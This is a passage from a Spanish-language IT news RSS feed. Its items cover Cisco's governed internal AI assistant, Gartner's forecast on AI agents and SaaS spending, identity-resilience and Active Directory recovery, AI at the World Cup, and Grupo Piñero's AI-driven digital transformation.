<p>Estos agentes podrían conectarse al correo electrónico y a las cuentas de Webex Meetings de los usuarios y realizar acciones en su nombre, siempre con autorización. Por ejemplo, podrían clasificar automáticamente los correos electrónicos según su prioridad.</p>



<p>También considera que estos asistentes asumirán más tareas de recursos humanos y finanzas, permitiendo que los empleados se concentren en actividades de mayor valor.</p>



<p>Sin embargo, los usuarios mantendrán el control, subraya. “No estoy preparado para renunciar al 100% del control salvo en actividades de bajo valor, donde podría aceptar algún error, porque la IA se equivoca”, afirma Namineni. “Nuestro reto es cómo aprovechar esta capacidad, limitarla a los casos de uso donde pueda realizar la mayor cantidad de trabajo posible y, al mismo tiempo, mantener siempre a las personas supervisando el proceso”.</p>



<p>Además del premio CIO 100, el proyecto ha recibido otros reconocimientos. Según Amy Loomis, vicepresidenta de soluciones para el puesto de trabajo de la consultora IDC, el asistente puede servir de modelo para otras grandes empresas que quieran fomentar un uso seguro de la IA entre sus empleados.</p>



<h2 class="wp-block-heading">Seguir la lógica</h2>



<p>Loomis afirma que otras organizaciones pueden adoptar la lógica del enfoque, aunque no necesariamente replicar la misma infraestructura tecnológica de Cisco. La arquitectura utilizada —que incluye integración de múltiples modelos, orquestación híbrida <em>multicloud</em>, RAG como servicio y microservicios— responde a la escala y capacidad de ingeniería de Cisco.</p>



<p>Sin embargo, las decisiones de fondo son acertadas, sostiene. Las compañías deberían proporcionar a sus empleados un entorno interno y gobernado para utilizar IA antes de que prolifere el uso de herramientas no autorizadas; evitar la fragmentación mediante una interfaz inteligente unificada; implantar controles de acceso que mantengan la responsabilidad humana sobre las acciones de la IA; y presentar la IA como una herramienta que amplía el alcance y la calidad del trabajo de los empleados.</p>



<p>La innovación de Cisco reside en la forma en que todos los componentes trabajan conjuntamente como un sistema, explica Loomis. Elementos como los flujos RAG, el acceso a GPT-4o, la integración con OneDrive o las arquitecturas de microservicios están disponibles en otros entornos, pero Cisco ha logrado combinarlos en una única plataforma. “Lo menos habitual es reunir todo esto dentro de un entorno gobernado por la propia empresa, con controles explícitos sobre los datos, en lugar de enviar las consultas de los empleados a servicios externos de IA donde la información sensible puede acabar formando parte de conjuntos de entrenamiento públicos”, añade.</p>



<p>Loomis destaca especialmente la función My Projects, que permite a los empleados cargar conjuntos de datos propietarios en carpetas seguras de OneDrive para realizar consultas y respuestas personalizadas.</p>



<p>Según explica, este enfoque proporciona a los trabajadores las capacidades que necesitan y evita que recurran a herramientas externas no autorizadas. La analista también elogia la estrategia de Cisco de presentar la IA como una capa de ampliación de las capacidades humanas. “Dar a cada empleado acceso a un conjunto de herramientas de IA adaptadas a su puesto y contexto de trabajo es tanto una decisión de gestión del cambio como una decisión tecnológica”, relata. “Las organizaciones que presentan la IA de esta manera, como una herramienta que potencia lo que los empleados pueden hacer en lugar de sustituir la forma en que trabajan, suelen lograr una adopción más amplia porque reducen la resistencia que habitualmente ralentiza su despliegue”.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Los agentes de IA ponen en riesgo 234.000 millones de dólares del gasto empresarial en SaaS, según Gartner]]></title>
<description><![CDATA[“Ya no se compra software principalmente para personas; cada vez se compra más para agentes”, explica George Brocklehurst, vicepresidente ejecutivo de Gartner. “Durante un par de décadas, el software se ha evaluado por su interfaz y por la experiencia de usuario: facilidad de uso, flujos de traba...]]></description>
<link>https://tsecurity.de/de/3642941/it-nachrichten/los-agentes-de-ia-ponen-en-riesgo-234000-millones-de-dlares-del-gasto-empresarial-en-saas-segn-gartner/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3642941/it-nachrichten/los-agentes-de-ia-ponen-en-riesgo-234000-millones-de-dlares-del-gasto-empresarial-en-saas-segn-gartner/</guid>
<pubDate>Fri, 03 Jul 2026 09:48:14 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>“Ya no se compra software principalmente para personas; cada vez se compra más para agentes”, explica George Brocklehurst, vicepresidente ejecutivo de Gartner. “Durante un par de décadas, el <a href="https://www.computerworld.es/article/4188279/especial-desarrollo-de-software-2026.html">software </a>se ha evaluado por su interfaz y por la experiencia de usuario: facilidad de uso, flujos de trabajo, formación. Cuando los agentes de IA se convierten en el usuario principal, todo eso pierde valor”.</p>



<p>Gartner estima que el gasto expuesto representará alrededor del 20% del gasto empresarial en SaaS al final de la década. La consultora atribuye este cambio al fenómeno que denomina ‘arbitraje agentivo’ (<em>agentic arbitrage</em>), es decir, el uso de agentes de IA para completar tareas empresariales a través de múltiples sistemas corporativos, reduciendo la necesidad de que los empleados interactúen directamente con cada aplicación.</p>



<p>Según Brocklehurst, la IA agentiva está cambiando la economía del software. Estos sistemas suelen omitir los flujos tradicionales de uso del software y entregar directamente los resultados, rompiendo así la relación histórica entre el crecimiento del número de usuarios y el crecimiento de los ingresos de muchos proveedores de software empresarial.</p>



<h2 class="wp-block-heading">Los CIO deberán replantearse la adquisición de software</h2>



<p>La aparición de la IA agentiva obligará a los CIO a evaluar el software empresarial de otra manera. En lugar de centrarse principalmente en la experiencia de usuario y el diseño de las interfaces, las organizaciones deberán analizar si los agentes de IA pueden realizar, mediante API, todas las funciones que hoy ejecutan los usuarios humanos a través de pantallas y aplicaciones.</p>



<p>“Lo realmente importante es determinar si un agente puede hacer todo —e incluso más— a través de la API de un sistema que lo que una persona puede realizar mediante una interfaz gráfica, y si las condiciones del proveedor lo permiten”, afirma Brocklehurst.</p>



<p>Este cambio también afecta a la forma de evaluar los contratos de software. “Examine el contrato con la misma atención con la que examina la tecnología”, recomienda. “Las condiciones de los proveedores pueden prohibir o restringir —desde el punto de vista técnico o financiero— el uso autónomo por parte de terceros. Los CIO podrían descubrir que su estrategia de IA está bloqueada no por una limitación tecnológica, sino por cláusulas que ya firmaron”.</p>



<p>Por ello, aconseja que las organizaciones negocien desde ahora los permisos para el uso de agentes en sus acuerdos de software, ya que muchos contratos seguirán vigentes cuando los agentes de IA se generalicen.</p>



<h2 class="wp-block-heading">La propiedad del conocimiento será el próximo campo de batalla</h2>



<p>Más allá de las API y las licencias, las empresas deberán prestar especial atención a dónde se almacena el conocimiento generado por los sistemas de IA. Cada corrección, excepción o flujo de trabajo gestionado por un agente crea conocimiento organizativo. Gartner denomina Knowledge Retention Rate (KRR) o tasa de retención del conocimiento a la capacidad de una organización para conservar ese aprendizaje.</p>



<p>“Si ese conocimiento acaba alimentando los modelos compartidos del proveedor, la experiencia operativa de su empresa estará mejorando un producto que también utilizan sus competidores”, señala Brocklehurst. “La cláusula más importante de la próxima generación de contratos de software será: “¿Quién es el propietario de lo que el sistema aprende de usted?””.</p>



<p>Según Gartner, las empresas corren el riesgo de caer en una nueva forma de dependencia tecnológica (vendor lock-in) si ese aprendizaje operativo permanece en manos de los proveedores y no de los clientes.</p>



<h2 class="wp-block-heading">El modelo económico tradicional del SaaS afronta una disrupción</h2>



<p>Gartner sostiene que los agentes de IA capaces de ejecutar procesos en múltiples aplicaciones empresariales reducirán la interacción directa de los usuarios con las interfaces tradicionales, debilitando el vínculo histórico entre el uso del software y las licencias basadas en número de usuarios.</p>



<p>Ante este escenario, los proveedores consolidados deberán evolucionar desde una propuesta de valor centrada en la interfaz hacia otra basada en los resultados, incorporando capacidades agentivas directamente en los procesos de negocio y preservando el conocimiento específico de cada cliente.</p>



<p>Al mismo tiempo, las <em>startups </em>nativas de IA y los proveedores de servicios podrían beneficiarse al convertirse en la capa de orquestación encargada de coordinar el trabajo entre múltiples aplicaciones empresariales. “Aunque este cambio supone una amenaza existencial para los proveedores que siguen defendiendo modelos basados en paneles de control tradicionales y licencias por usuario, también crea una importante oportunidad de ingresos para quienes desarrollen servicios y plataformas capaces de soportar flujos de trabajo transversales impulsados por agentes”, indica Brocklehurst.</p>



<h2 class="wp-block-heading">La gobernanza debe evolucionar junto con los sistemas autónomos</h2>



<p>Gartner también insta a los CIO a establecer marcos de gobernanza antes de que los agentes autónomos de IA se conviertan en algo habitual. “No conceda autonomía de forma implícita ni desigual”, advierte Brocklehurst. Las organizaciones deben tratar la autonomía de los agentes como una decisión explícita de gobierno corporativo, definiendo dónde pueden actuar de forma independiente, quién autoriza esas decisiones y con qué frecuencia deben revisarse esos permisos.</p>



<p>“Las empresas que desarrollen esa capacidad desde ahora podrán avanzar más rápido y con mayor seguridad cuando la tecnología esté preparada para asumir más responsabilidades”, concluye.</p>



<p>Aunque Gartner describe esta transición como una redefinición del concepto de ‘Saaspocalypse’, Brocklehurst subraya que el SaaS no desaparecerá. “Esto es menos un apocalipsis y más una metamorfosis. El SaaS no será destruido; simplemente emergerá bajo una forma diferente”.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[La resiliencia de identidad empieza donde termina el ‘backup’ ]]></title>
<description><![CDATA[La identidad se ha convertido en el nuevo perímetro corporativo. En un entorno dominado por modelos híbridos, servicios en la nube y arquitecturas zero trust, prácticamente todas las operaciones dependen de mecanismos de autenticación y autorización. Cuando estos sistemas dejan de funcionar, el i...]]></description>
<link>https://tsecurity.de/de/3640399/it-security-nachrichten/la-resiliencia-de-identidad-empieza-donde-terminaelbackup/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3640399/it-security-nachrichten/la-resiliencia-de-identidad-empieza-donde-terminaelbackup/</guid>
<pubDate>Thu, 02 Jul 2026 09:22:56 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>La identidad se ha convertido en el nuevo perímetro corporativo. En un entorno dominado por modelos híbridos, servicios en la nube y arquitecturas <em>zero trust</em>, prácticamente todas las operaciones dependen de mecanismos de autenticación y autorización. Cuando estos sistemas dejan de funcionar, el impacto va mucho más allá de una interrupción tecnológica: se paralizan procesos de negocio, se bloquea el acceso a aplicaciones críticas y la capacidad operativa de la organización se reduce drásticamente. </p>



<p>Esta realidad ha elevado la importancia de conceptos como la resiliencia de identidad, una disciplina que va más allá de la protección preventiva para centrarse en la capacidad de recuperación tras un incidente. Porque la pregunta ya no es únicamente cómo evitar una intrusión, sino cómo volver a operar cuando los mecanismos de identidad han sido comprometidos. </p>



<p>El problema es que muchas organizaciones siguen abordando esta cuestión desde una perspectiva heredada. Se asume que recuperar un sistema de identidad es equivalente a restaurar un servidor, una base de datos o una aplicación empresarial. Pero no es así. Plataformas como Active Directory, que continúan siendo el núcleo de la identidad en una gran parte de las empresas del mundo, presentan una complejidad técnica singular. Su naturaleza distribuida, los procesos de replicación y las múltiples dependencias con otros sistemas hacen que una recuperación completa requiera procedimientos específicos, conocimiento especializado y una planificación rigurosa. </p>



<p>Esta diferencia es especialmente relevante en el contexto actual de las amenazas. Los atacantes ya no buscan únicamente cifrar sistemas o exfiltrar información. Cada vez con más frecuencia intentan comprometer la infraestructura de identidad para obtener persistencia, escalar privilegios y dificultar la recuperación posterior. En muchos casos, incluso después de restaurar los sistemas afectados, los mecanismos de acceso maliciosos permanecen ocultos dentro del entorno de identidad, permitiendo que el atacante vuelva a tomar el control. </p>



<p>Por ello, medir la preparación únicamente en términos de <em>backup</em> resulta insuficiente. Una estrategia madura debe centrarse en la recuperación efectiva. Esto implica validar periódicamente los procedimientos, definir objetivos de recuperación realistas y comprobar que la organización puede restaurar no solo la tecnología, sino también la capacidad mínima necesaria para mantener la actividad empresarial. </p>



<figure class="wp-block-pullquote"><blockquote><p><strong><em>Una estrategia madura debe centrarse en la recuperación efectiva</em></strong></p></blockquote></figure>



<p>Aquí surge una cuestión que con frecuencia pasa desapercibida: ¿qué significa realmente recuperarse? Muchas métricas tradicionales se centran en volver a poner en marcha un controlador de dominio o restaurar una instancia concreta. Sin embargo, desde la perspectiva del negocio, la recuperación solo puede considerarse completa cuando los procesos críticos vuelven a estar operativos. En otras palabras, el tiempo de recuperación debe medirse en función de la capacidad de la empresa para funcionar, no únicamente de la disponibilidad técnica de determinados componentes. </p>



<p>La experiencia demuestra que las organizaciones más preparadas son aquellas que someten sus planes a pruebas continuas. Del mismo modo que se realizan simulacros de evacuación ante emergencias físicas, los ejercicios de recuperación de identidad permiten identificar dependencias ocultas, validar tiempos de respuesta y detectar fallos antes de que una crisis real los convierta en un problema crítico. La resiliencia no puede darse por supuesta; debe demostrarse. </p>



<p>Además, la recuperación moderna exige una visión ciberresiliente. Restaurar un entorno comprometido sin comprender cómo fue atacado supone correr el riesgo de reintroducir el problema. Las organizaciones necesitan ser capaces de identificar indicadores de persistencia, detectar configuraciones manipuladas y garantizar que los sistemas recuperados son realmente confiables. Recuperar rápido es importante, pero recuperar de forma segura lo es aún más. </p>



<p>En última instancia, la resiliencia de identidad representa un cambio de paradigma para los responsables de seguridad y de infraestructura. Durante años, el objetivo fue impedir cualquier intrusión. Hoy sabemos que ninguna organización puede garantizar una protección absoluta. Lo que diferencia a las empresas más resilientes no es la ausencia de incidentes, sino su capacidad para restaurar rápidamente la confianza en sus sistemas críticos cuando estos se ven comprometidos. </p>



<p>En un escenario donde la identidad sustenta prácticamente todas las operaciones digitales, la capacidad de recuperación deja de ser una cuestión técnica para convertirse en un factor estratégico de supervivencia empresarial. Y esa capacidad empieza mucho antes de una crisis, cuando las organizaciones dejan de preguntarse si tienen copias de seguridad y comienzan a preguntarse si realmente están preparadas para recuperar su identidad. </p>



<div class="wp-block-media-text is-stacked-on-mobile"><figure class="wp-block-media-text__media"><img decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Darren-Mar-Elia-SEMPERIS-1.jpg?quality=50&amp;strip=all" alt="Darren Mar-Elia es el Principal Security Strategist (Estratega Principal de Seguridad) de Semperis" class="wp-image-4192058 size-full" loading="lazy" width="400px"></figure><div class="wp-block-media-text__content">
<p><strong><em>El autor de este artículo es <a href="https://www.linkedin.com/in/gpoguy" target="_blank" rel="nofollow">Darren Mar-Elia</a>, estratega principal de seguridad de Semperis, empresa especializada en protección y recuperación de Active Directory y sistemas de identidad en la nube. Con una trayectoria de más de 20 años en TI corporativa y 10 en software empresarial, es un experto reconocido en la gestión de configuraciones, infraestructura de Microsoft y ciberseguridad.</em></strong></p>
</div></div>



<p></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[La IA salta al terreno de juego en el Mundial]]></title>
<description><![CDATA[La Copa Mundial de la FIFA es, posiblemente, la mayor oportunidad publicitaria jamás concebida. Al menos 2.800 millones de personas vieron alguna parte del Mundial de Catar 2022. Y este año se espera que esa cifra alcance al menos los 6.000 millones. Sin embargo, estos números palidecen frente a ...]]></description>
<link>https://tsecurity.de/de/3640310/it-nachrichten/la-ia-salta-al-terreno-de-juego-en-el-mundial/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3640310/it-nachrichten/la-ia-salta-al-terreno-de-juego-en-el-mundial/</guid>
<pubDate>Thu, 02 Jul 2026 08:17:52 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>La Copa Mundial de la FIFA es, posiblemente, la mayor oportunidad publicitaria jamás concebida. Al menos 2.800 millones de personas vieron alguna parte del Mundial de Catar 2022. Y este año se espera que esa cifra alcance al menos los 6.000 millones. Sin embargo, estos números palidecen frente a la enorme cantidad de dinero invertida en campañas de marketing por algunas de las mayores empresas del mundo, que buscan promocionar desde refrescos y ropa deportiva hasta automóviles y ordenadores.</p>



<p>Los mayores innovadores en inteligencia artificial también forman parte de esta competición publicitaria, aunque en lugar de exhibir el poder de sus grandes modelos de lenguaje (LLM), dos de los mayores contribuyentes al gasto publicitario del Mundial, OpenAI y Google, parecen conformarse con recordar al público que existen. Para el creador de ChatGPT, eso significa pagar al delantero argentino Lionel Messi para que pida al <em>chatbot </em>que tiña virtualmente su cabello con los colores de la bandera de su país. Gemini, por su parte, se ha limitado a patrocinar a la selección argentina y a ajustar su modelo para responder a preguntas sobre los partidos como lo haría un aficionado.</p>



<p>Este nivel de implicación es comprensible en el caso de Google, cuyas aplicaciones Maps y Translate, potenciadas por IA, ya aportan un valor incalculable a los aficionados que visitan lugares desconocidos o intentan comunicarse en idiomas que no dominan. Otras compañías, sin embargo, tienen planes más sofisticados.</p>



<h2 class="wp-block-heading">Entre bastidores</h2>



<p>Lenovo, por ejemplo, ha lanzado Football AI Pro, una aplicación diseñada para procesar millones de datos generados durante los partidos y convertirlos en más de 2.000 métricas que ayudan a las selecciones nacionales a planificar estrategias para sus próximos encuentros. A partir de esos datos, los agentes de IA de la plataforma pueden generar respuestas en lenguaje natural, representaciones gráficas y simulaciones animadas de diferentes escenarios. “Los equipos pueden incluso reproducir acciones y analizar la toma de decisiones tácticas de partidos anteriores”, explica Art Hu, CIO global de Lenovo.</p>



<p>Las conversaciones con FIFA sobre este proyecto comenzaron en 2022. Para entonces, Lenovo ya contaba con una sólida experiencia en colaboraciones deportivas gracias a acuerdos con la Fórmula 1, Ducati y los Carolina Hurricanes. En el caso de la FIFA, la idea surgió como una plataforma de software capaz de proporcionar análisis estadístico e información estratégica basada en IA a las 48 selecciones participantes. Según Hu, pocos deportes ofrecen un acceso tan avanzado a este tipo de tecnología.</p>



<p>Los árbitros también están beneficiándose de estas herramientas. Lenovo ha creado reconstrucciones tridimensionales impulsadas por IA de más de 1.200 jugadores participantes en el torneo. Estas recreaciones permiten a los colegiados tomar mejores decisiones cuando su visión, o incluso la de las cámaras VAR, queda obstaculizada. “Estos avatares proporcionan un mayor contexto y comprensión en los momentos decisivos”, afirma Hu. “Ya los hemos visto utilizarse de forma efectiva en repeticiones relacionadas con fueras de juego durante el torneo”.</p>



<p>A medida que concluyan las fases de grupos y el campeonato llegue a su fin, FIFA publicará más información sobre el uso de estas herramientas. Por ello, Hu no puede detallar todavía cómo Football AI Pro está ayudando exactamente a cada selección. Sin embargo, considera que la plataforma tiene potencial más allá del fútbol. “Como Football AI Pro se ha desarrollado, en parte, utilizando Lenovo AI Factory, gran parte de la infraestructura subyacente puede reutilizarse en otras soluciones que requieran motores de IA personalizados y multiagente”.</p>



<h2 class="wp-block-heading">Control de multitudes</h2>



<p>Más allá del césped y de las gradas, la inteligencia artificial también está desempeñando una función crucial en materia de seguridad. Se espera que alrededor de cinco millones de aficionados viajen a las ciudades anfitrionas de Estados Unidos, México y Canadá para apoyar a sus selecciones, lo que supone una importante presión adicional para los servicios de emergencia locales. A menudo, cuando se produce una situación de estrés, los turistas recurren instintivamente a su lengua materna.</p>



<p>Es aquí donde entra en juego RapidSOS. La compañía proporciona a los servicios de emergencia de Estados Unidos, Canadá y México herramientas para obtener información contextual crítica de los llamantes, como su ubicación exacta. Además, emplea IA para identificar automáticamente los detalles más relevantes de cada incidente y compartirlos con los actores implicados.</p>



<p>Dada la magnitud del evento, esto significa mantener informados no solo a los equipos de emergencias, sino también a la FIFA, a los operadores de los estadios y a cualquier organización que tenga contacto directo con los aficionados.</p>



<p>Una de las funciones más relevantes del sistema es su capacidad para traducir hasta 50 idiomas en tiempo real a partir del audio de las llamadas, algo especialmente útil durante los días de partido. El servicio también resulta eficaz cuando la comunicación es deficiente debido al ruido ambiental, una situación frecuente en recintos deportivos abarrotados. “Disponemos de una enorme cantidad de datos sintéticos basados en llamadas reales que utilizamos constantemente para poner a prueba nuestros sistemas”, explica Zach LaValley, director de tecnología de RapidSOS.</p>



<p>Según el directivo, el sistema puede incluso priorizar determinados modelos de traducción o transcripción en función de los idiomas predominantes de cada localidad. LaValley subraya que la tecnología de RapidSOS no sustituye a otros servicios de atención disponibles para los aficionados, pero sí ofrece una alternativa rápida y funcional cuando encontrar a una persona que hable el idioma adecuado puede requerir varios minutos.</p>



<p>En un evento global donde la velocidad puede marcar la diferencia tanto dentro como fuera del terreno de juego, la inteligencia artificial se está consolidando como una herramienta decisiva para mejorar el rendimiento deportivo, reforzar la toma de decisiones y garantizar la seguridad de millones de personas.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Piñero impulsa una nueva etapa de su transformación digital con una IA integrada en el negocio]]></title>
<description><![CDATA[El turismo vive una profunda transformación impulsada por un nuevo perfil del cliente. Hoy los viajeros ya no buscan únicamente un destino o un hotel; demandan experiencias personalizadas, respuestas inmediatas y una relación fluida con las marcas antes, durante y después de cada viaje.



Para g...]]></description>
<link>https://tsecurity.de/de/3634946/it-nachrichten/piero-impulsa-una-nueva-etapa-de-su-transformacin-digital-con-una-ia-integrada-en-el-negocio/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3634946/it-nachrichten/piero-impulsa-una-nueva-etapa-de-su-transformacin-digital-con-una-ia-integrada-en-el-negocio/</guid>
<pubDate>Tue, 30 Jun 2026 10:32:54 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>El turismo vive una <a href="https://www.cio.com/article/4029537/la-digitalizacion-del-sector-turismo-pasa-por-cuidar-el-dato.html">profunda transformación</a> impulsada por un nuevo perfil del cliente. Hoy los viajeros ya no buscan únicamente un destino o un hotel; demandan experiencias personalizadas, respuestas inmediatas y una relación fluida con las marcas antes, durante y después de cada viaje.</p>



<p>Para grupos como Piñero, compañía española con más de 50 años de experiencia en el sector del turismo, <em>real estate</em> y <em>hospitality</em>, responder a estas nuevas expectativas ha supuesto mucho más que incorporar tecnología. Ha implicado transformar la forma de operar, tomar decisiones y relacionarse con sus clientes. “La transformación digital está plenamente integrada en la estrategia corporativa. Hemos evolucionado desde iniciativas aisladas hacia un modelo transversal donde la tecnología actúa como habilitador clave del negocio, la eficiencia y la experiencia del cliente”, explica Antonio Muñoz, director de TI de Piñero.</p>



<h2 class="wp-block-heading">Ocho años acelerando la transformación</h2>



<p>Aunque la innovación tecnológica forma parte de la evolución natural de la compañía, el proceso de transformación digital se aceleró formalmente hace aproximadamente ocho años. Según explica Muñoz, el objetivo era doble: “Modernizar nuestra arquitectura tecnológica y dotar al grupo de capacidades digitales que impulsaran eficiencia, integración y una relación más directa y personalizada con el cliente”. Un proceso que, asegura, ha estado ligado al propio crecimiento de la organización. “Estos procesos de transformación forman parte de nuestro ADN como compañía y han venido acompañando al crecimiento empresarial de una manera muy cercana”.</p>



<p>Como ocurre en cualquier proceso de transformación, el camino no ha estado exento de desafíos. Entre los principales retos, el responsable de TI destaca “la gestión del cambio cultural, la convivencia entre sistemas <em>legacy</em>, la implementación de nuevas plataformas <em>cloud</em> y la necesidad de reforzar el talento digital y el gobierno del dato en un entorno multinacional”.</p>



<p>Aun así, la evolución tecnológica de Piñero durante los últimos años ha sido profunda. “Hemos evolucionado desde un entorno fragmentado y <em>on premise</em> hacia una arquitectura orientada a servicios, <em>cloud </em>y datos”, resume Muñoz.</p>



<p>Actualmente, la compañía opera sobre una arquitectura híbrida con un peso creciente de la nube, plataformas de integración y un <em>Data Platform</em> corporativo. Una transformación que ha venido acompañada de importantes cambios estructurales, entre ellos la implantación de plataformas de integración, la creación de una plataforma corporativa de datos y la estandarización de herramientas de productividad y colaboración.</p>



<p>Todo ello ha cambiado el papel que desempeña la tecnología dentro de la organización, pasando de ser “un soporte operativo a convertirse en una palanca estratégica, generadora de nuevas capacidades comerciales, analíticas y de servicio”, afirma el director de TI.</p>



<h2 class="wp-block-heading">Una estrategia común para negocios muy diferentes</h2>



<p>Uno de los retos más importantes de la compañía es articular una estrategia tecnológica coherente para negocios con necesidades distintas. Para lograrlo, el grupo ha construido una misma base tecnológica. “La estrategia se articula sobre unas redes troncales tecnológicas comunes —datos, integración, seguridad, identidad— sobre las que cada unidad despliega soluciones específicas. Este modelo garantiza coherencia, escalabilidad y reutilización de capacidades en todo el grupo”, explica Muñoz.</p>



<p>La digitalización no solo está transformando los procesos internos de la compañía, sino también la relación con los clientes. Al mismo tiempo, el dato se ha convertido en uno de sus principales activos estratégicos, apoyándose en herramientas de <em>business intelligence</em>, <em>machine learning</em> y analítica avanzada para convertir la información en decisiones y acciones concretas. “La ventaja competitiva de verdad sale de nuestros datos y de cómo los convertimos mediante algoritmos avanzados en decisiones y acciones que nos ayuden a ser más sostenibles en todos los ámbitos”, señala Muñoz.</p>



<figure class="wp-block-pullquote"><blockquote><p><em><strong>“Nuestro foco hoy es industrializar la IA”, apunta Antonio Muñoz, director de TI de Piñero</strong></em></p></blockquote></figure>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/06/ANTONIO-MUNOZ-IT-DIRECTOR-PINERO.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Antonio Muñoz, director de TI de Grupo Piñero" class="wp-image-4190950" width="1024" height="822" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Grupo Piñero</p></div>



<h2 class="wp-block-heading">La inteligencia artificial pasa de la experimentación a la operación</h2>



<p>Tras años construyendo los cimientos tecnológicos de la organización, la inteligencia artificial se ha convertido en una de las principales prioridades de Piñero, aunque, en los últimos años, el enfoque ha cambiado. “Nuestro foco hoy es industrializar la IA. Ya no estamos en una fase de probar cosas: estamos integrándola en procesos reales. La gran palanca es la IA generativa y, sobre todo, los flujos agénticos: sistemas que coordinan pasos, conectan datos y herramientas y optimizan procesos completos”.</p>



<p>La nueva herramienta tiene un objetivo muy definido: ayudar a los equipos comerciales y de <em>back office</em> a trabajar con toda la información relevante de propiedades y precios de forma unificada y contextualizada. “Esta herramienta permite a nuestros equipos contestar mejor, con más contexto, más coherencia y con una capacidad de decisión más precisa, independientemente del canal por el que llegue la petición de información”, explica Muñoz.</p>



<p>El sistema cuenta con un profundo conocimiento del catálogo de propiedades y del contexto de cada cliente, lo que, según el director de TI, permite “recomendar, comparar y comunicar mejor que nunca, con respuestas personalizadas y coherentes en todos nuestros canales”.</p>



<p>Desde el punto de vista tecnológico, la solución cuenta con “una combinación muy pragmática: IA generativa y una arquitectura multiagente, con varios agentes especializados que se coordinan para entender la consulta, buscar el contexto y construir una respuesta útil”, explica Muñoz.</p>



<p>De acuerdo con el director de TI, la diferencia respecto a otros asistentes radica en su integración con los sistemas internos de la organización: “Lo diferencial es que no es IA aislada: está integrada con las fuentes internas de la división para unificar información de propiedades, precios e históricos, y además se conecta a los canales donde trabaja el equipo —correo y WhatsApp— para generar respuestas personalizadas y comparativas/recomendaciones en tiempo real”.</p>



<p>Uno de los principales beneficios de este asistente es la reducción del tiempo dedicado a tareas repetitivas. “Esperamos liberar en torno a un 20-30% del tiempo del equipo en tareas repetitivas —buscar información, cruzar datos, preparar comparativas o redactar respuestas— para que puedan dedicarse más a tareas de valor, como el seguimiento y asesoramiento comercial”, comenta Muñoz.</p>



<p>Pero el objetivo no es sustituir el papel de las personas, sino potenciarlo. “Reduce gran parte del trabajo manual de buscar, cruzar y preparar información. Deja una propuesta prácticamente lista, y el paso final (criterio, matiz, decisión y cierre comercial) lo da la persona, que es donde está el verdadero valor”.</p>



<h2 class="wp-block-heading">Una tecnología llamada a extenderse</h2>



<p>El asistente de Real Estate &amp; Golf no será una iniciativa aislada, comenta Muñoz. “Este asistente no aparece de la nada: forma parte de una línea de trabajo que ya venimos desarrollando en el Grupo con asistentes y soluciones de IA en otras áreas”. La intención es extender estas capacidades al resto de negocios y seguir ampliando la arquitectura con nuevas fuentes de información, procesos y canales.</p>



<p>La hoja de ruta tecnológica de Piñero pasa por seguir escalando la inteligencia artificial, reforzar el gobierno del dato y acelerar la innovación aplicada al negocio. Para Muñoz, el gran reto será convertir a la organización en una compañía plenamente orientada al dato: “La mayor transformación vendrá de la capacidad de convertirnos en una organización data driven, donde la inteligencia artificial y la automatización impulsen decisiones, eficiencia y personalización a gran escala”.</p>



<p>Una visión que refleja cómo la tecnología ha dejado de ser un área de soporte para convertirse en uno de los principales motores de crecimiento y transformación del grupo.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Modernizar el IT heredado con IA sin disparar el riesgo regulatorio]]></title>
<description><![CDATA[La IA está acelerando proyectos de modernización que antes exigían meses de análisis. Pero en las organizaciones más reguladas aparece enseguida una realidad incómoda: el riesgo ya no está en convertir el código, sino en demostrar que la versión nueva sigue haciendo exactamente lo que hacía la an...]]></description>
<link>https://tsecurity.de/de/3627343/it-security-nachrichten/modernizar-el-it-heredado-con-ia-sin-disparar-el-riesgo-regulatorio/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3627343/it-security-nachrichten/modernizar-el-it-heredado-con-ia-sin-disparar-el-riesgo-regulatorio/</guid>
<pubDate>Fri, 26 Jun 2026 14:21:14 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



